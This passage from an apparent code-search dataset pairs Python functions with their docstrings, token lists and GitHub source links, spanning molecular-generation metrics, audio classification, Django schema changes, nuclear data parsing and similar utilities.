FCDMetric(**kwargs_fcd)(gen=gen, pref=ptest['FCD']) metrics['SNN/Test'] = SNNMetric(**kwargs)(gen=mols, pref=ptest['SNN']) metrics['Frag/Test'] = FragMetric(**kwargs)(gen=mols, pref=ptest['Frag']) metrics['Scaf/Test'] = ScafMetric(**kwargs)(gen=mols, pref=ptest['Scaf']) if ptest_scaffolds is not None: metrics['FCD/TestSF'] = FCDMetric(**kwargs_fcd)( gen=gen, pref=ptest_scaffolds['FCD'] ) metrics['SNN/TestSF'] = SNNMetric(**kwargs)( gen=mols, pref=ptest_scaffolds['SNN'] ) metrics['Frag/TestSF'] = FragMetric(**kwargs)( gen=mols, pref=ptest_scaffolds['Frag'] ) metrics['Scaf/TestSF'] = ScafMetric(**kwargs)( gen=mols, pref=ptest_scaffolds['Scaf'] ) metrics['IntDiv'] = internal_diversity(mols, pool, device=device) metrics['IntDiv2'] = internal_diversity(mols, pool, device=device, p=2) metrics['Filters'] = fraction_passes_filters(mols, pool) # Properties for name, func in [('logP', logP), ('SA', SA), ('QED', QED), ('weight', weight)]: metrics[name] = WassersteinMetric(func, **kwargs)( gen=mols, pref=ptest[name]) if train is not None: metrics['Novelty'] = novelty(mols, train, pool) enable_rdkit_log() if close_pool: pool.close() pool.join() return metrics

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"batch_size", ",", "pool", "=", "pool", ")", "if", "test_scaffolds", "is", "not", "None", "and", "ptest_scaffolds", "is", "None", ":", "ptest_scaffolds", "=", "compute_intermediate_statistics", "(", "test_scaffolds", ",", "n_jobs", "=", "n_jobs", ",", "device", "=", "device", ",", "batch_size", "=", "batch_size", ",", "pool", "=", "pool", ")", "mols", "=", "mapper", "(", "pool", ")", "(", "get_mol", ",", "gen", ")", "kwargs", "=", "{", "'n_jobs'", ":", "pool", ",", "'device'", ":", "device", ",", "'batch_size'", ":", "batch_size", "}", "kwargs_fcd", "=", "{", "'n_jobs'", ":", "n_jobs", ",", "'device'", ":", "device", ",", "'batch_size'", ":", "batch_size", "}", "metrics", "[", "'FCD/Test'", "]", "=", "FCDMetric", "(", "*", "*", "kwargs_fcd", ")", "(", "gen", "=", "gen", ",", "pref", "=", "ptest", "[", "'FCD'", "]", ")", "metrics", "[", "'SNN/Test'", "]", "=", "SNNMetric", "(", "*", "*", "kwargs", ")", "(", "gen", "=", "mols", ",", "pref", "=", "ptest", "[", "'SNN'", "]", ")", "metrics", "[", "'Frag/Test'", "]", "=", "FragMetric", "(", "*", "*", "kwargs", ")", "(", "gen", "=", "mols", ",", "pref", "=", "ptest", "[", "'Frag'", "]", ")", "metrics", "[", "'Scaf/Test'", "]", "=", "ScafMetric", "(", "*", "*", "kwargs", ")", "(", "gen", "=", "mols", ",", "pref", "=", "ptest", "[", "'Scaf'", "]", ")", "if", "ptest_scaffolds", "is", "not", "None", ":", "metrics", "[", "'FCD/TestSF'", "]", "=", "FCDMetric", "(", "*", "*", "kwargs_fcd", ")", "(", "gen", "=", "gen", ",", "pref", "=", "ptest_scaffolds", "[", "'FCD'", "]", ")", "metrics", "[", "'SNN/TestSF'", "]", "=", "SNNMetric", "(", "*", "*", "kwargs", ")", "(", "gen", "=", "mols", ",", "pref", "=", "ptest_scaffolds", "[", "'SNN'", "]", ")", "metrics", "[", "'Frag/TestSF'", "]", "=", "FragMetric", "(", "*", "*", "kwargs", ")", "(", "gen", "=", "mols", ",", "pref", "=", "ptest_scaffolds", "[", "'Frag'", "]", ")", "metrics", "[", "'Scaf/TestSF'", "]", "=", "ScafMetric", "(", "*", "*", "kwargs", ")", "(", "gen", "=", "mols", ",", "pref", "=", "ptest_scaffolds", "[", "'Scaf'", "]", ")", "metrics", "[", "'IntDiv'", "]", "=", "internal_diversity", "(", "mols", ",", "pool", ",", "device", "=", "device", ")", "metrics", "[", "'IntDiv2'", "]", "=", "internal_diversity", "(", "mols", ",", "pool", ",", "device", "=", "device", ",", "p", "=", "2", ")", "metrics", "[", "'Filters'", "]", "=", "fraction_passes_filters", "(", "mols", ",", "pool", ")", "# Properties", "for", "name", ",", "func", "in", "[", "(", "'logP'", ",", "logP", ")", ",", "(", "'SA'", ",", "SA", ")", ",", "(", "'QED'", ",", "QED", ")", ",", "(", "'weight'", ",", "weight", ")", "]", ":", "metrics", "[", "name", "]", "=", "WassersteinMetric", "(", "func", ",", "*", "*", "kwargs", ")", "(", "gen", "=", "mols", ",", "pref", "=", "ptest", "[", "name", "]", ")", "if", "train", "is", "not", "None", ":", "metrics", "[", "'Novelty'", "]", "=", "novelty", "(", "mols", ",", "train", ",", "pool", ")", "enable_rdkit_log", "(", ")", "if", "close_pool", ":", "pool", ".", "close", "(", ")", "pool", ".", "join", "(", ")", "return", "metrics" ]

https://github.com/molecularsets/moses/blob/7b8f83b21a9b7ded493349ec8ef292384ce2bb52/moses/metrics/metrics.py#L17-L146

researchmm/tasn

5dba8ccc096cedc63913730eeea14a9647911129

tasn-mxnet/benchmark/python/sparse/memory_benchmark.py

python

bench_dot

(lhs_row_dim, lhs_col_dim, rhs_col_dim, density, rhs_density, dot_func, trans_lhs, lhs_stype, rhs_stype, only_storage, distribution="uniform")

Benchmarking both storage and dot

[ "Benchmarking", "both", "storage", "and", "dot" ]

def bench_dot(lhs_row_dim, lhs_col_dim, rhs_col_dim, density, rhs_density, dot_func, trans_lhs, lhs_stype, rhs_stype, only_storage, distribution="uniform"): """ Benchmarking both storage and dot """ lhs_nd = rand_ndarray((lhs_row_dim, lhs_col_dim), lhs_stype, density, distribution=distribution) if not only_storage: rhs_nd = rand_ndarray((lhs_col_dim, rhs_col_dim), rhs_stype, density=rhs_density, distribution=distribution) out = dot_func(lhs_nd, rhs_nd, trans_lhs) mx.nd.waitall()

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https://github.com/researchmm/tasn/blob/5dba8ccc096cedc63913730eeea14a9647911129/tasn-mxnet/benchmark/python/sparse/memory_benchmark.py#L79-L89

Qirky/FoxDot

76318f9630bede48ff3994146ed644affa27bfa4

FoxDot/lib/SCLang/SynthDef.py

python

SynthDefBaseClass.get_base_class_variables

(self)

return "var {};".format(", ".join(self.var))

[]

def get_base_class_variables(self): return "var {};".format(", ".join(self.var))

[ "def", "get_base_class_variables", "(", "self", ")", ":", "return", "\"var {};\"", ".", "format", "(", "\", \"", ".", "join", "(", "self", ".", "var", ")", ")" ]

https://github.com/Qirky/FoxDot/blob/76318f9630bede48ff3994146ed644affa27bfa4/FoxDot/lib/SCLang/SynthDef.py#L183-L184

ctfs/write-ups-2014

b02bcbb2737907dd0aa39c5d4df1d1e270958f54

asis-ctf-finals-2014/xorqr/netcatlib/netcatlib.py

python

Netcat.read_some

(self, amount=1)

return buf

Read at least one byte of buffered data unless EOF is hit. Return '' if EOF is hit. Block if no data is immediately available.

Read at least one byte of buffered data unless EOF is hit.

[ "Read", "at", "least", "one", "byte", "of", "buffered", "data", "unless", "EOF", "is", "hit", "." ]

def read_some(self, amount=1): """Read at least one byte of buffered data unless EOF is hit. Return '' if EOF is hit. Block if no data is immediately available. """ while not self.buffer and len(self.buffer) < amount and not self.eof: self.recv_blocking() buf = self.buffer self.buffer = '' return buf

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https://github.com/ctfs/write-ups-2014/blob/b02bcbb2737907dd0aa39c5d4df1d1e270958f54/asis-ctf-finals-2014/xorqr/netcatlib/netcatlib.py#L251-L262

NVIDIA/DeepLearningExamples

589604d49e016cd9ef4525f7abcc9c7b826cfc5e

TensorFlow/Detection/SSD/models/research/object_detection/metrics/coco_tools.py

python

COCOEvalWrapper.GetCategory

(self, category_id)

return self.cocoGt.cats[category_id]

Fetches dictionary holding category information given category id. Args: category_id: integer id Returns: dictionary holding 'id', 'name'.

Fetches dictionary holding category information given category id.

[ "Fetches", "dictionary", "holding", "category", "information", "given", "category", "id", "." ]

def GetCategory(self, category_id): """Fetches dictionary holding category information given category id. Args: category_id: integer id Returns: dictionary holding 'id', 'name'. """ return self.cocoGt.cats[category_id]

[ "def", "GetCategory", "(", "self", ",", "category_id", ")", ":", "return", "self", ".", "cocoGt", ".", "cats", "[", "category_id", "]" ]

https://github.com/NVIDIA/DeepLearningExamples/blob/589604d49e016cd9ef4525f7abcc9c7b826cfc5e/TensorFlow/Detection/SSD/models/research/object_detection/metrics/coco_tools.py#L175-L183

tyiannak/pyAudioAnalysis

979c8635e5b6292283b5ee050868d087a55c6371

pyAudioAnalysis/audioSegmentation.py

python

mid_term_file_classification

(input_file, model_name, model_type, plot_results=False, gt_file="")

return labels, class_names, accuracy, cm

This function performs mid-term classification of an audio stream. Towards this end, supervised knowledge is used, i.e. a pre-trained classifier. ARGUMENTS: - input_file: path of the input WAV file - model_name: name of the classification model - model_type: svm or knn depending on the classifier type - plot_results: True if results are to be plotted using matplotlib along with a set of statistics RETURNS: - segs: a sequence of segment's endpoints: segs[i] is the endpoint of the i-th segment (in seconds) - classes: a sequence of class flags: class[i] is the class ID of the i-th segment

This function performs mid-term classification of an audio stream. Towards this end, supervised knowledge is used, i.e. a pre-trained classifier. ARGUMENTS: - input_file: path of the input WAV file - model_name: name of the classification model - model_type: svm or knn depending on the classifier type - plot_results: True if results are to be plotted using matplotlib along with a set of statistics

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def mid_term_file_classification(input_file, model_name, model_type, plot_results=False, gt_file=""): """ This function performs mid-term classification of an audio stream. Towards this end, supervised knowledge is used, i.e. a pre-trained classifier. ARGUMENTS: - input_file: path of the input WAV file - model_name: name of the classification model - model_type: svm or knn depending on the classifier type - plot_results: True if results are to be plotted using matplotlib along with a set of statistics RETURNS: - segs: a sequence of segment's endpoints: segs[i] is the endpoint of the i-th segment (in seconds) - classes: a sequence of class flags: class[i] is the class ID of the i-th segment """ labels = [] accuracy = 0.0 class_names = [] cm = np.array([]) if not os.path.isfile(model_name): print("mtFileClassificationError: input model_type not found!") return labels, class_names, accuracy, cm # Load classifier: if model_type == "knn": classifier, mean, std, class_names, mt_win, mid_step, st_win, \ st_step, compute_beat = at.load_model_knn(model_name) else: classifier, mean, std, class_names, mt_win, mid_step, st_win, \ st_step, compute_beat = at.load_model(model_name) if compute_beat: print("Model " + model_name + " contains long-term music features " "(beat etc) and cannot be used in " "segmentation") return labels, class_names, accuracy, cm # load input file sampling_rate, signal = audioBasicIO.read_audio_file(input_file) # could not read file if sampling_rate == 0: return labels, class_names, accuracy, cm # convert stereo (if) to mono signal = audioBasicIO.stereo_to_mono(signal) # mid-term feature extraction: mt_feats, _, _ = \ mtf.mid_feature_extraction(signal, sampling_rate, mt_win * sampling_rate, mid_step * sampling_rate, round(sampling_rate * st_win), round(sampling_rate * st_step)) posterior_matrix = [] # for each feature vector (i.e. for each fix-sized segment): for col_index in range(mt_feats.shape[1]): # normalize current feature v feature_vector = (mt_feats[:, col_index] - mean) / std # classify vector: label_predicted, posterior = \ at.classifier_wrapper(classifier, model_type, feature_vector) labels.append(label_predicted) # update probability matrix posterior_matrix.append(np.max(posterior)) labels = np.array(labels) # convert fix-sized flags to segments and classes segs, classes = labels_to_segments(labels, mid_step) segs[-1] = len(signal) / float(sampling_rate) # Load grount-truth: labels_gt, class_names_gt, accuracy, cm = \ load_ground_truth(gt_file, labels, class_names, mid_step, plot_results) return labels, class_names, accuracy, cm

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https://github.com/tyiannak/pyAudioAnalysis/blob/979c8635e5b6292283b5ee050868d087a55c6371/pyAudioAnalysis/audioSegmentation.py#L518-L597

mkusner/grammarVAE

ffffe272a8cf1772578dfc92254c55c224cddc02

Theano-master/theano/tensor/opt.py

python

local_add_mul_fusion

(node)

Fuse consecutive add or mul in one such node with more inputs. It is better to fuse add/mul that way then in a Composite node as this make the inner graph of the Compiste smaller. This allow to put more computation in a Composite before hitting the max recusion limit when pickling Composite.

Fuse consecutive add or mul in one such node with more inputs.

[ "Fuse", "consecutive", "add", "or", "mul", "in", "one", "such", "node", "with", "more", "inputs", "." ]

def local_add_mul_fusion(node): """Fuse consecutive add or mul in one such node with more inputs. It is better to fuse add/mul that way then in a Composite node as this make the inner graph of the Compiste smaller. This allow to put more computation in a Composite before hitting the max recusion limit when pickling Composite. """ if (not isinstance(node.op, Elemwise) or not isinstance(node.op.scalar_op, (scalar.Add, scalar.Mul))): return False s_op = node.op.scalar_op.__class__ for inp in node.inputs: if (inp.owner and isinstance(inp.owner.op, Elemwise) and isinstance(inp.owner.op.scalar_op, s_op)): l = list(node.inputs) l.remove(inp) output_node = node.op(*(l + inp.owner.inputs)) copy_stack_trace(node.outputs[0], output_node) return [output_node]

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https://github.com/mkusner/grammarVAE/blob/ffffe272a8cf1772578dfc92254c55c224cddc02/Theano-master/theano/tensor/opt.py#L6745-L6768

FriedAppleTeam/FRAPL

89c14d57e0cc77b915fe1e95f60e9e1847699103

Framework/FridaLink/FridaLink/Core/MemoryEngine.py

python

MemoryEngineProtocol.generateMemoryID

(self, address)

return mem_id

[]

def generateMemoryID(self, address): idx = 0 mem_id = "0x%X_%d" % (address, idx) while mem_id in self.memoryMap: idx += 1 mem_id = "0x%X_%d" % (address, idx) return mem_id

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https://github.com/FriedAppleTeam/FRAPL/blob/89c14d57e0cc77b915fe1e95f60e9e1847699103/Framework/FridaLink/FridaLink/Core/MemoryEngine.py#L73-L79

AppScale/gts

46f909cf5dc5ba81faf9d81dc9af598dcf8a82a9

AppServer/google/appengine/ext/mapreduce/model.py

python

MapperSpec.__init__

(self, handler_spec, input_reader_spec, params, shard_count, output_writer_spec=None)

Creates a new MapperSpec. Args: handler_spec: handler specification as string (see class doc for details). input_reader_spec: The class name of the input reader to use. params: Dictionary of additional parameters for the mapper. shard_count: number of shards to process in parallel. Properties: handler_spec: name of handler class/function to use. input_reader_spec: The class name of the input reader to use. params: Dictionary of additional parameters for the mapper. shard_count: number of shards to process in parallel. output_writer_spec: The class name of the output writer to use.

Creates a new MapperSpec.

[ "Creates", "a", "new", "MapperSpec", "." ]

def __init__(self, handler_spec, input_reader_spec, params, shard_count, output_writer_spec=None): """Creates a new MapperSpec. Args: handler_spec: handler specification as string (see class doc for details). input_reader_spec: The class name of the input reader to use. params: Dictionary of additional parameters for the mapper. shard_count: number of shards to process in parallel. Properties: handler_spec: name of handler class/function to use. input_reader_spec: The class name of the input reader to use. params: Dictionary of additional parameters for the mapper. shard_count: number of shards to process in parallel. output_writer_spec: The class name of the output writer to use. """ self.handler_spec = handler_spec self.input_reader_spec = input_reader_spec self.output_writer_spec = output_writer_spec self.shard_count = int(shard_count) self.params = params

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https://github.com/AppScale/gts/blob/46f909cf5dc5ba81faf9d81dc9af598dcf8a82a9/AppServer/google/appengine/ext/mapreduce/model.py#L375-L401

quodlibet/quodlibet

e3099c89f7aa6524380795d325cc14630031886c

quodlibet/qltk/songmodel.py

python

PlaylistMux.unqueue

(self, songs)

Remove all occurrences of all passed songs in the queue

[ "Remove", "all", "occurrences", "of", "all", "passed", "songs", "in", "the", "queue" ]

def unqueue(self, songs): """Remove all occurrences of all passed songs in the queue""" q = self.q for iter_ in q.find_all(songs): q.remove(iter_)

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https://github.com/quodlibet/quodlibet/blob/e3099c89f7aa6524380795d325cc14630031886c/quodlibet/qltk/songmodel.py#L139-L144

yt-project/yt

dc7b24f9b266703db4c843e329c6c8644d47b824

yt/visualization/plot_container.py

python

PlotContainer.get_log

(self, field)

return log

get the transform type of a field. Parameters ---------- field : string the field to get a transform if field == 'all', applies to all plots.

get the transform type of a field.

[ "get", "the", "transform", "type", "of", "a", "field", "." ]

def get_log(self, field): """get the transform type of a field. Parameters ---------- field : string the field to get a transform if field == 'all', applies to all plots. """ # devnote : accepts_all_fields decorator is not applicable here because # the return variable isn't self log = {} if field == "all": fields = list(self.plots.keys()) else: fields = field for field in self.data_source._determine_fields(fields): log[field] = self._field_transform[field] == log_transform return log

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https://github.com/yt-project/yt/blob/dc7b24f9b266703db4c843e329c6c8644d47b824/yt/visualization/plot_container.py#L316-L335

LeGoffLoic/Nodz

0ee255c62883f7a374a9de6cbcf555e3352e5dec

nodz_main.py

python

SlotItem.paint

(self, painter, option, widget)

Paint the Slot.

[ "Paint", "the", "Slot", "." ]

def paint(self, painter, option, widget): """ Paint the Slot. """ painter.setBrush(self.brush) painter.setPen(self.pen) nodzInst = self.scene().views()[0] config = nodzInst.config if nodzInst.drawingConnection: if self.parentItem() == nodzInst.currentHoveredNode: painter.setBrush(utils._convertDataToColor(config['non_connectable_color'])) if (self.slotType == nodzInst.sourceSlot.slotType or (self.slotType != nodzInst.sourceSlot.slotType and self.dataType != nodzInst.sourceSlot.dataType)): painter.setBrush(utils._convertDataToColor(config['non_connectable_color'])) else: _penValid = QtGui.QPen() _penValid.setStyle(QtCore.Qt.SolidLine) _penValid.setWidth(2) _penValid.setColor(QtGui.QColor(255, 255, 255, 255)) painter.setPen(_penValid) painter.setBrush(self.brush) painter.drawEllipse(self.boundingRect())

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https://github.com/LeGoffLoic/Nodz/blob/0ee255c62883f7a374a9de6cbcf555e3352e5dec/nodz_main.py#L1672-L1695

wistbean/learn_python3_spider

73c873f4845f4385f097e5057407d03dd37a117b

stackoverflow/venv/lib/python3.6/site-packages/attr/_funcs.py

python

has

(cls)

return getattr(cls, "__attrs_attrs__", None) is not None

Check whether *cls* is a class with ``attrs`` attributes. :param type cls: Class to introspect. :raise TypeError: If *cls* is not a class. :rtype: bool

Check whether *cls* is a class with ``attrs`` attributes.

[ "Check", "whether", "*", "cls", "*", "is", "a", "class", "with", "attrs", "attributes", "." ]

def has(cls): """ Check whether *cls* is a class with ``attrs`` attributes. :param type cls: Class to introspect. :raise TypeError: If *cls* is not a class. :rtype: bool """ return getattr(cls, "__attrs_attrs__", None) is not None

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https://github.com/wistbean/learn_python3_spider/blob/73c873f4845f4385f097e5057407d03dd37a117b/stackoverflow/venv/lib/python3.6/site-packages/attr/_funcs.py#L215-L224

holzschu/Carnets

44effb10ddfc6aa5c8b0687582a724ba82c6b547

Library/lib/python3.7/site-packages/astropy-4.0-py3.7-macosx-10.9-x86_64.egg/astropy/utils/iers/iers.py

python

LeapSeconds.from_erfa

(cls, built_in=False)

Create table from the leap-second list in ERFA. Parameters ---------- built_in : bool If `False` (default), retrieve the list currently used by ERFA, which may have been updated. If `True`, retrieve the list shipped with erfa.

Create table from the leap-second list in ERFA.

[ "Create", "table", "from", "the", "leap", "-", "second", "list", "in", "ERFA", "." ]

def from_erfa(cls, built_in=False): """Create table from the leap-second list in ERFA. Parameters ---------- built_in : bool If `False` (default), retrieve the list currently used by ERFA, which may have been updated. If `True`, retrieve the list shipped with erfa. """ current = cls(erfa.leap_seconds.get()) current._expires = Time('{0.year:04d}-{0.month:02d}-{0.day:02d}' .format(erfa.leap_seconds.expires), scale='tai') if not built_in: return current try: erfa.leap_seconds.set(None) # reset to defaults return cls.from_erfa(built_in=False) finally: erfa.leap_seconds.set(current)

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https://github.com/holzschu/Carnets/blob/44effb10ddfc6aa5c8b0687582a724ba82c6b547/Library/lib/python3.7/site-packages/astropy-4.0-py3.7-macosx-10.9-x86_64.egg/astropy/utils/iers/iers.py#L1100-L1121

sangwoomo/instagan

f9c1d9c9b7d2c21491317921f24a5200a02a823d

models/cycle_gan_model.py

python

CycleGANModel.initialize

(self, opt)

[]

def initialize(self, opt): BaseModel.initialize(self, opt) # specify the training losses you want to print out. The program will call base_model.get_current_losses self.loss_names = ['D_A', 'G_A', 'cycle_A', 'idt_A', 'D_B', 'G_B', 'cycle_B', 'idt_B'] # specify the images you want to save/display. The program will call base_model.get_current_visuals visual_names_A = ['real_A', 'fake_B', 'rec_A'] visual_names_B = ['real_B', 'fake_A', 'rec_B'] if self.isTrain and self.opt.lambda_identity > 0.0: visual_names_A.append('idt_A') visual_names_B.append('idt_B') self.visual_names = visual_names_A + visual_names_B # specify the models you want to save to the disk. The program will call base_model.save_networks and base_model.load_networks if self.isTrain: self.model_names = ['G_A', 'G_B', 'D_A', 'D_B'] else: # during test time, only load Gs self.model_names = ['G_A', 'G_B'] # load/define networks # The naming conversion is different from those used in the paper # Code (paper): G_A (G), G_B (F), D_A (D_Y), D_B (D_X) self.netG_A = networks.define_G(opt.input_nc, opt.output_nc, opt.ngf, opt.netG, opt.norm, not opt.no_dropout, opt.init_type, opt.init_gain, self.gpu_ids) self.netG_B = networks.define_G(opt.output_nc, opt.input_nc, opt.ngf, opt.netG, opt.norm, not opt.no_dropout, opt.init_type, opt.init_gain, self.gpu_ids) if self.isTrain: use_sigmoid = opt.no_lsgan self.netD_A = networks.define_D(opt.output_nc, opt.ndf, opt.netD, opt.n_layers_D, opt.norm, use_sigmoid, opt.init_type, opt.init_gain, self.gpu_ids) self.netD_B = networks.define_D(opt.input_nc, opt.ndf, opt.netD, opt.n_layers_D, opt.norm, use_sigmoid, opt.init_type, opt.init_gain, self.gpu_ids) if self.isTrain: self.fake_A_pool = ImagePool(opt.pool_size) self.fake_B_pool = ImagePool(opt.pool_size) # define loss functions self.criterionGAN = networks.GANLoss(use_lsgan=not opt.no_lsgan).to(self.device) self.criterionCycle = torch.nn.L1Loss() self.criterionIdt = torch.nn.L1Loss() # initialize optimizers self.optimizer_G = torch.optim.Adam(itertools.chain(self.netG_A.parameters(), self.netG_B.parameters()), lr=opt.lr, betas=(opt.beta1, 0.999)) self.optimizer_D = torch.optim.Adam(itertools.chain(self.netD_A.parameters(), self.netD_B.parameters()), lr=opt.lr, betas=(opt.beta1, 0.999)) self.optimizers = [] self.optimizers.append(self.optimizer_G) self.optimizers.append(self.optimizer_D)

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https://github.com/sangwoomo/instagan/blob/f9c1d9c9b7d2c21491317921f24a5200a02a823d/models/cycle_gan_model.py#L23-L71

JaniceWuo/MovieRecommend

4c86db64ca45598917d304f535413df3bc9fea65

movierecommend/venv1/Lib/site-packages/django/db/backends/base/schema.py

python

BaseDatabaseSchemaEditor.alter_index_together

(self, model, old_index_together, new_index_together)

Deals with a model changing its index_together. Note: The input index_togethers must be doubly-nested, not the single- nested ["foo", "bar"] format.

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def alter_index_together(self, model, old_index_together, new_index_together): """ Deals with a model changing its index_together. Note: The input index_togethers must be doubly-nested, not the single- nested ["foo", "bar"] format. """ olds = set(tuple(fields) for fields in old_index_together) news = set(tuple(fields) for fields in new_index_together) # Deleted indexes for fields in olds.difference(news): self._delete_composed_index(model, fields, {'index': True}, self.sql_delete_index) # Created indexes for field_names in news.difference(olds): fields = [model._meta.get_field(field) for field in field_names] self.execute(self._create_index_sql(model, fields, suffix="_idx"))

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https://github.com/JaniceWuo/MovieRecommend/blob/4c86db64ca45598917d304f535413df3bc9fea65/movierecommend/venv1/Lib/site-packages/django/db/backends/base/schema.py#L355-L369

tomplus/kubernetes_asyncio

f028cc793e3a2c519be6a52a49fb77ff0b014c9b

kubernetes_asyncio/client/models/v1_endpoint_port.py

python

V1EndpointPort.name

(self)

return self._name

Gets the name of this V1EndpointPort. # noqa: E501 The name of this port. This must match the 'name' field in the corresponding ServicePort. Must be a DNS_LABEL. Optional only if one port is defined. # noqa: E501 :return: The name of this V1EndpointPort. # noqa: E501 :rtype: str

Gets the name of this V1EndpointPort. # noqa: E501

[ "Gets", "the", "name", "of", "this", "V1EndpointPort", ".", "#", "noqa", ":", "E501" ]

def name(self): """Gets the name of this V1EndpointPort. # noqa: E501 The name of this port. This must match the 'name' field in the corresponding ServicePort. Must be a DNS_LABEL. Optional only if one port is defined. # noqa: E501 :return: The name of this V1EndpointPort. # noqa: E501 :rtype: str """ return self._name

[ "def", "name", "(", "self", ")", ":", "return", "self", ".", "_name" ]

https://github.com/tomplus/kubernetes_asyncio/blob/f028cc793e3a2c519be6a52a49fb77ff0b014c9b/kubernetes_asyncio/client/models/v1_endpoint_port.py#L93-L101

fmilthaler/FinQuant

38a2884663eea228540abd094b5c163f96c55aff

finquant/moving_average.py

python

compute_ma

(data, fun, spans, plot=True)

return ma

Computes a band of moving averages (sma or ema, depends on the input argument `fun`) for a number of different time windows. If `plot` is `True`, it also computes and sets markers for buy/sell signals based on crossovers of the Moving Averages with the shortest/longest spans. :Input: :data: pandas.DataFrame with stock prices, only one column is expected. :fun: function that computes a moving average, e.g. sma (simple) or ema (exponential). :spans: list of integers, time windows to compute the Moving Average on. :plot: boolean (default: True), whether to plot the moving averages and buy/sell signales based on crossovers of shortest and longest moving average. :Output: :ma: pandas.DataFrame with moving averages of given data.

Computes a band of moving averages (sma or ema, depends on the input argument `fun`) for a number of different time windows. If `plot` is `True`, it also computes and sets markers for buy/sell signals based on crossovers of the Moving Averages with the shortest/longest spans.

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def compute_ma(data, fun, spans, plot=True): """Computes a band of moving averages (sma or ema, depends on the input argument `fun`) for a number of different time windows. If `plot` is `True`, it also computes and sets markers for buy/sell signals based on crossovers of the Moving Averages with the shortest/longest spans. :Input: :data: pandas.DataFrame with stock prices, only one column is expected. :fun: function that computes a moving average, e.g. sma (simple) or ema (exponential). :spans: list of integers, time windows to compute the Moving Average on. :plot: boolean (default: True), whether to plot the moving averages and buy/sell signales based on crossovers of shortest and longest moving average. :Output: :ma: pandas.DataFrame with moving averages of given data. """ if not isinstance(data, pd.DataFrame): raise ValueError("data must be of type pandas.DataFrame") # compute moving averages ma = data.copy(deep=True) for span in spans: ma[str(span) + "d"] = fun(data, span=span) if plot: fig = plt.figure() ax = fig.add_subplot(111) # plot moving averages ma.plot(ax=ax) # Create buy/sell signals of shortest and longest span minspan = min(spans) minlabel = str(minspan) + "d" maxspan = max(spans) maxlabel = str(maxspan) + "d" signals = ma.copy(deep=True) signals["diff"] = 0.0 signals["diff"][minspan:] = np.where( ma[minlabel][minspan:] > ma[maxlabel][minspan:], 1.0, 0.0 ) # Generate trading orders signals["signal"] = signals["diff"].diff() # marker for buy signal ax.plot( signals.loc[signals["signal"] == 1.0].index.values, signals[minlabel][signals["signal"] == 1.0].values, marker="^", markersize=10, color="r", label="buy signal", ) # marker for sell signal ax.plot( signals.loc[signals["signal"] == -1.0].index.values, signals[minlabel][signals["signal"] == -1.0].values, marker="v", markersize=10, color="b", label="sell signal", ) # title title = "Band of Moving Averages (" + str(fun.__name__) + ")" plt.title(title) # legend plt.legend(ncol=2) # axis labels plt.xlabel(data.index.name) plt.ylabel("Price") return ma

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https://github.com/fmilthaler/FinQuant/blob/38a2884663eea228540abd094b5c163f96c55aff/finquant/moving_average.py#L15-L82

openmc-dev/openmc

0cf7d9283786677e324bfbdd0984a54d1c86dacc

openmc/data/reaction.py

python

_get_photon_products_endf

(ev, rx)

return products

Generate photon products from an ENDF evaluation Parameters ---------- ev : openmc.data.endf.Evaluation ENDF evaluation to read from rx : openmc.data.Reaction Reaction that generates photons Returns ------- products : list of openmc.Products Photons produced from reaction with given MT

Generate photon products from an ENDF evaluation

[ "Generate", "photon", "products", "from", "an", "ENDF", "evaluation" ]

def _get_photon_products_endf(ev, rx): """Generate photon products from an ENDF evaluation Parameters ---------- ev : openmc.data.endf.Evaluation ENDF evaluation to read from rx : openmc.data.Reaction Reaction that generates photons Returns ------- products : list of openmc.Products Photons produced from reaction with given MT """ products = [] if (12, rx.mt) in ev.section: file_obj = StringIO(ev.section[12, rx.mt]) items = get_head_record(file_obj) option = items[2] if option == 1: # Multiplicities given n_discrete_photon = items[4] if n_discrete_photon > 1: items, total_yield = get_tab1_record(file_obj) for k in range(n_discrete_photon): photon = Product('photon') # Get photon yield items, photon.yield_ = get_tab1_record(file_obj) # Get photon energy distribution law = items[3] dist = UncorrelatedAngleEnergy() if law == 1: # TODO: Get file 15 distribution pass elif law == 2: energy = items[0] primary_flag = items[2] dist.energy = DiscretePhoton(primary_flag, energy, ev.target['mass']) photon.distribution.append(dist) products.append(photon) elif option == 2: # Transition probability arrays given ppyield = {} ppyield['type'] = 'transition' ppyield['transition'] = transition = {} # Determine whether simple (LG=1) or complex (LG=2) transitions lg = items[3] # Get transition data items, values = get_list_record(file_obj) transition['energy_start'] = items[0] transition['energies'] = np.array(values[::lg + 1]) transition['direct_probability'] = np.array(values[1::lg + 1]) if lg == 2: # Complex case transition['conditional_probability'] = np.array( values[2::lg + 1]) elif (13, rx.mt) in ev.section: file_obj = StringIO(ev.section[13, rx.mt]) # Determine option items = get_head_record(file_obj) n_discrete_photon = items[4] if n_discrete_photon > 1: items, total_xs = get_tab1_record(file_obj) for k in range(n_discrete_photon): photon = Product('photon') items, xs = get_tab1_record(file_obj) # Re-interpolate photon production cross section and neutron cross # section to union energy grid energy = np.union1d(xs.x, rx.xs['0K'].x) photon_prod_xs = xs(energy) neutron_xs = rx.xs['0K'](energy) idx = np.where(neutron_xs > 0) # Calculate yield as ratio yield_ = np.zeros_like(energy) yield_[idx] = photon_prod_xs[idx] / neutron_xs[idx] photon.yield_ = Tabulated1D(energy, yield_) # Get photon energy distribution law = items[3] dist = UncorrelatedAngleEnergy() if law == 1: # TODO: Get file 15 distribution pass elif law == 2: energy = items[1] primary_flag = items[2] dist.energy = DiscretePhoton(primary_flag, energy, ev.target['mass']) photon.distribution.append(dist) products.append(photon) return products

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https://github.com/openmc-dev/openmc/blob/0cf7d9283786677e324bfbdd0984a54d1c86dacc/openmc/data/reaction.py#L664-L772

google/grr

8ad8a4d2c5a93c92729206b7771af19d92d4f915

api_client/python/grr_api_client/hunt.py

python

HuntBase.GetClientCompletionStats

( self)

return response

[]

def GetClientCompletionStats( self) -> hunt_pb2.ApiGetHuntClientCompletionStatsResult: args = hunt_pb2.ApiGetHuntClientCompletionStatsArgs(hunt_id=self.hunt_id) response = self._context.SendRequest("GetHuntClientCompletionStats", args) if not isinstance(response, hunt_pb2.ApiGetHuntClientCompletionStatsResult): raise TypeError(f"Unexpected response type: '{type(response)}'") return response

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https://github.com/google/grr/blob/8ad8a4d2c5a93c92729206b7771af19d92d4f915/api_client/python/grr_api_client/hunt.py#L334-L342

jbjorne/TEES

caf19a4a1352ac59f5dc13a8684cc42ce4342d9d

ExampleBuilders/FeatureBuilders/DrugFeatureBuilder.py

python

DrugFeatureBuilder.buildMTMXFeatures

(self, e1, e2)

[]

